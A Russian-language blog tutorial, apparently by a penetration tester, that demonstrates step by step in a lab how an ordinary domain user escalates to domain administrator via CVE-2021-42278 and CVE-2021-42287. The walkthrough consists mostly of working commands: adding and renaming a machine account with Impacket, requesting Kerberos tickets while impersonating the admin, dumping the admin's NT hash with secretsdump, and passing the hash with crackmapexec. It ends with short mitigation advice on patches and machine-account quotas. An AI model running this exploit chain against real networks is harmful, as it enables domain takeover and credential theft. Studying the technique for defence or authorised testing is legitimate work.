Содержание
Пару дней назад опубликована информация о шикарной уязвимости, эксплуатация которой позволяет поднять себе привилегии от обычного пользователя домена до администратора за несколько шагов. На гитхабе можно найти эксплойт, который должен выполнять эти действия разом, но у меня он работать отказался, поэтому сейчас я покажу, как можно организовать вертикальное продвижение в инфраструктуру отдельными шагами. Ведь постепенное продвижение гораздо интереснее, не так ли? Чтож, погнали!
Вводные
Для стенда я собрал 2 станции – Windows Server 2012 и боевая Kali Linux.
Также, положим, что у нас раскрыта одна непривилегированная учётная запись домена: user:1qaz@WSX. Как получить хотябы минимальную учётку – я уже рассказывал ранее. Например тут:
Эксплуатация уязвимости
Суть уязвимости состоит в том, что по умолчанию пользователь может добавить до 10 рабочих станций в домен со своими привилегиями. Конечно, бдительные админы могли отключить эту функцию, поэтому убедимся, что наша исследуемая инфраструктура ей подвержена.
# git clone https://github.com/ropnop/windapsearch
При запуске скрипта получаем ошибку:
Traceback (most recent call last):
File “windapsearch.py”, line 3, in <module>
import ldap
ModuleNotFoundError: No module named ‘ldap’
Да, ещё окружение настроить нужно. Сейчас приведу список доустановок, который мне помог.
# pip3 install --upgrade pip
# pip3 install python3-ldap
# apt-get install libsasl2-dev python2-dev libldap2-dev libssl-dev
# pip install python-ldap
Да, тут пободался с версиями питона, но в итоге заработало )
# python3 windapsearch.py --dc 192.168.0.102 -d DC.LOCAL -u user -p '1qaz@WSX' --custom '(&(objectClass=domain)(distinguishedName=DC=DC,DC=LOCAL))' --attrs ms-ds-machineAccountQuota
Чтение атрибута показало, что действительно можно будет добавить до 10 компьютеров в AD. Этим и воспользуемся.
Добавляем произвольный компьютер
Следующим шагом мы добавим компьютер в AD. Поможет нам в этом мощный пакет скриптов под названием Impacket (импакет). Я буду периодически использовать его возможности в других статьях, это реально крутой набор. Сперва поставим его:
# git clone https://github.com/SecureAuthCorp/impacket
# cd impacket
# pip3 install -r requirements.txt
# pip3 install .
Теперь перейдём в каталог examples и выполним команду добавления компьютера:
# python3 addcomputer.py -computer-name litladmin -computer-pass 'litl-admin.ru' -dc-ip 192.168.0.102 -dc-host main.dc.local dc.local/user:'1qaz@WSX'
Добавили узел с именем litladmin и паролем litl-admin.ru используя учётные данные нашего обычного пользователя.
Проверю, как выглядит:
Шаг следующий – переименуем компьютер в …. контроллер домена)
На наше счастье никто это не проверяет, поэтому воспользуемся готовым скриптом:
# wget https://gist.githubusercontent.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383/raw/39677c02d1ad17297eecdfa07b5cbe393bf94aaf/renameMachine.py
Скрипт рабочий, положу сюда же, в каталог Impacket-а.
Итак, меняем имя:
# python3 renameMachine.py DC.LOCAL/user:'1qaz@WSX' -dc-ip 192.168.0.102 -current-name 'litladmin$' -new-name MAIN
Опять же, использовали наши известные учётные данные обычного пользователя, ввели текущее имя узла и новое имя, которое должно совпадать с именем контроллера домена.
В оснастку можно не смотреть, новый узел там не появился. Но теперь внимание!
Получим TGT на имя DC
Ticket Granting Ticket (TGT) – первичный билет доступа к ресурсам. Запросим его на “своё” имя при помощи того же Impacket:
# python3 getTGT.py DC.LOCAL/MAIN:'litl-admin.ru' -dc-ip 192.168.0.102
Здесь обратите внимание! Билет запрашивается на имя узла (MAIN, который бывший наш litladmin$).
Полученный билет сохраняется в файлик MAIN.ccache.
Для использования билета его нужно сперва экспортировать в переменную окружения, а затем выполнить соответствующую команду импакета с ключом -k.
Переименовываем наш узел обратно в litladmin$
По старой схеме. Меняем местами параметры. Обратите внимание, что при указании нового имени – ставится символ $ – знак того, что это имя хоста, а не пользователя.
Получаем тикет на службу
На момент написания статьи в impacket ещё не входила поддержка параметра -self, поэтому, по совету авторов первоисточника, воспользуемся одним из пулл-реквестов и скачаем слегка модифицированный скрипт:
Сам pull-request: https://github.com/SecureAuthCorp/impacket/pull/1202/files
# wget raw.githubusercontent.com/SecureAuthCorp/impacket/b4774d60c7718edcf50196bf2de4aacd09d8ee99/examples/getST.py -O getST2.py
И теперь запросим билет:
# KRB5CCNAME=MAIN.ccache python3 getST2.py -spn LDAP/MAIN.DC.LOCAL DC.LOCAL/MAIN -k -no-pass -dc-ip 192.168.0.102 -impersonate admin -self
Тикет сохранился в файлик admin.ccache.
По старой схеме, экспортируем его и выполняем команду от имени пользователя.
Получаем хеш админа
# KRB5CCNAME=admin.ccache python3 secretsdump.py -k -no-pass MAIN.DC.LOCAL -dc-ip 192.168.0.102 -just-dc-user 'DC\admin'
Вот и драгоценный NT-хеш учётки. Что с ним делать дальше? Как вариант – Pass-the-hash, я описывал технику ранее. А сейчас мы воспользуемся Crackmapexec, которой вместо пароля можно передать этот хер (-H) и аутентифицироваться:
Дальше можно творить что душе угодно:
Выгрузить все учётки (SAM, NTDS), выполнять произвольные команды (-x / -X), использовать модули (lsassy, mimikatz) и т.д. В общем домен захвачен. Откланиваюсь. Было круто.
Выводы:
- Для защиты – отключаем возможность добавления обычным пользователем рабочих станций в ActiveDirectory
- Ставим патчи, закрывающие CVE-2021-42278, CVE-2021-42287
Хотите больше подобных статей с практическими заданиями? Ссылка на донат – на главной странице) Буду знать, что подобный формат заходит)
Comments: